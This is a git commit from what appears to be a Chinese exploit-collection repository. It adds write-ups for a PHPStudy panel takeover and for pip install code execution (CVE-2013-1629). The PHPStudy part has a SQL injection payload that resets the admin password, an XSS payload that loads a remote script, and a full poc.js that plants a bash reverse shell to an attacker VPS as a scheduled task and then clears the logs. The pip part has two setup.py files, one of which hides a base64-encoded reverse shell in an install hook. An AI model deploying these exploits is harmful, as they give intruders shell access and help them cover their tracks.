更新漏洞

This commit is contained in:
Threekiii 2023-05-22 16:33:48 +08:00
parent 624458b06b
commit ab2073e2e6
10 changed files with 255 additions and 0 deletions

View File

@ -280,6 +280,7 @@
* NPS auth_key 未授权访问漏洞
* OneBlog 小于v2.2.1 远程命令执行漏洞
* phpMyAdmin后台SQL注入 CVE-2020-26935
* PHPStudy 后台管理页面 one click RCE
* PowerJob list 信息泄漏漏洞 CVE-2023-29923
* Riskscanner list SQL注入漏洞
* Roxy-Wi options.py 远程命令执行漏洞 CVE-2022-31137
@ -495,6 +496,7 @@
* GO TLS握手 崩溃漏洞 CVE-2021-34558
* PHP zerodium后门漏洞
* Python pip install RCE 漏洞 CVE-2013-1629
- 操作系统漏洞
* Linux DirtyPipe权限提升漏洞 CVE-2022-0847

View File

@ -0,0 +1,143 @@
# PHPStudy 后台管理页面 one click RCE
## 漏洞描述
phpStudy 集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。支持一键 LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx 反向代理、服务器防火墙、Web 防火墙、监控大屏等服务器管理功能。phpStudy 面板存在存储型 XSS 漏洞,攻击者可以通过 js 调用面板中的计划任务执行系统命令。
## 影响版本
```
小皮 windows 面板 V0.102 以及以下版本
小皮 linux 面板 X1.29 以及以下版本
```
## 漏洞复现
### 方式 1 SQL 注入
phpstudy 访问面板登录页面需要添加如下 Headers
```
x-requested-with: XMLHttpRequest
```
![image-20230519091358703](images/image-20230519091358703.png)
在用户登录处构造 Payload其中 Password 的值是经过五次 md5 加密后的结果,脚本如下:
```python
import hashlib
str = "123456"
for i in range(0,5):
str = hashlib.md5(str.encode()).hexdigest()
print(str)
```
填写 Payload验证码处需要正确输入
```
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
```
虽然提示错误信息,但此时已经成功将用户名/密码修改为: `admin/123456`
![image-20230519092040856](images/image-20230519092040856.png)
在后台计划任务处创建一个反弹 shell 脚本,点击执行:
![image-20230519092608985](images/image-20230519092608985.png)
服务器端监听,成功接收反弹 Shell
![image-20230519092655024](images/image-20230519092655024.png)
### 方式 2 XSS
在 VPS 上放置 [poc.js](#漏洞POC),监听 8888 端口,并通过以下命令启动 HTTP 服务:
```
python3 -m http.server 9999
```
在访问面板登录页面用户名处插入 XSS 语句:
```
<script src="http://<your-vps-ip>:9999/poc.js"></script>
```
![image-20230519100003117](images/image-20230519100003117.png)
通过方式 1已经获得了用户名/密码为 admin/123456进入后台验证一下计划任务是否成功写入
![image-20230519100442704](images/image-20230519100442704.png)
等待 1 分钟,成功接收反弹 Shell
![image-20230519094345974](images/image-20230519094345974.png)
## 漏洞POC
poc.js
```js
function exp() {
$.ajax({
url: '/service/app/tasks.php?type=task_list', //获取计划任务列表
type: 'GET',
headers:{
"X-Requested-With": "XMLHttpRequest"
},
dataType: 'json',
success: function (data) {
var id = data.data[0].ID; //任务名称
$.ajax({
url: '/service/app/tasks.php?type=exec_task', //执行计划任务
type: 'POST',
headers:{
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
data: { tid: id },
dataType: 'json',
success: function (res) {
$.ajax({
url: '/service/app/log.php?type=clearlog',
type: 'POST',
data: { type: 'clearlog' },
dataType: 'json',
success: function (res2) {}
});
}
});
}
});
}
function save() {
var data = new Object();
data.task_id = '';
data.title = 'test';
data.exec_cycle = '5';
data.week = '1';
data.day = '3';
data.hour = '1';
data.minute = '1';
data.shell = 'bash -i >& /dev/tcp/<your-vps-ip>/8888 0>&1';;
$.ajax({
url: '/service/app/tasks.php?type=save_shell',
type: 'POST',
headers:{
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
data: data,
dataType: 'json',
success: function (res) {
exp();
}
});
}
save();
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 203 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 224 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 258 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 144 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 181 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 175 KiB

View File

@ -0,0 +1,110 @@
# Python pip install RCE 漏洞 CVE-2013-1629
## 漏洞描述
当通过 HTTP 从 Pypi 存储库检索包时,不会检查包内容的完整性。利用这个缺陷,攻击者可以通过 `pip install` 来执行代码。
参考阅读:
- https://github.com/0x00-0x00/FakePip
- https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce-using-pip/python/sid-2098
## 影响版本
```
pip < 1.3
```
## 漏洞复现
### 方式1 FakePip
将 [setup.py](#漏洞POC) 文件下载到远程目标:
```
$ wget http://your-vps-ip/setup.py
```
在 VPS 上监听端口,在远程目标上执行命令:
```
$ mkdir fakepip
$ mv setup.py fakepip/
$ cd fakepip
# sudo /usr/bin/pip install . --upgrade --force-reinstall
```
成功获取反弹 Shell。
### 方式2 图片马
将 [setup.py](#漏洞POC) 文件放在文件夹中并压缩命名为,选择一张图片 test.png制作图片马
```
$ copy /b test.png + pic.zip pic.png
```
在 VPS 上监听端口,将图片上传至公网图床,复制链接,在远程目标上执行命令:
```
$ pip install " https://<your-img-link>"
```
也将图片可以上传到 VPS在远程目标上执行命令
```
$ pip3 install "http://192"."168"."xx"."xxx/pic.png"
```
## 漏洞POC
方式1 setup.py
```python
from setuptools import setup
from setuptools.command.install import install
import base64
import os
class CustomInstall(install):
def run(self):
install.run(self)
LHOST = 'localhost' # change this
LPORT = 13372
reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
encoded = base64.b64encode(reverse_shell)
os.system('echo %s|base64 -d|bash' % encoded)
setup(name='FakePip',
version='0.0.1',
description='This will exploit a sudoer able to /usr/bin/pip install *',
zip_safe=False,
cmdclass={'install': CustomInstall})
```
方式2 setup.py
```python
from setuptools import setup
import socket,subprocess,os
def run():
import socket, time,pty, os
host='{LHOST}'
port='{LPORT}'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
run()
setup(name="FakePip", version="1.0")
```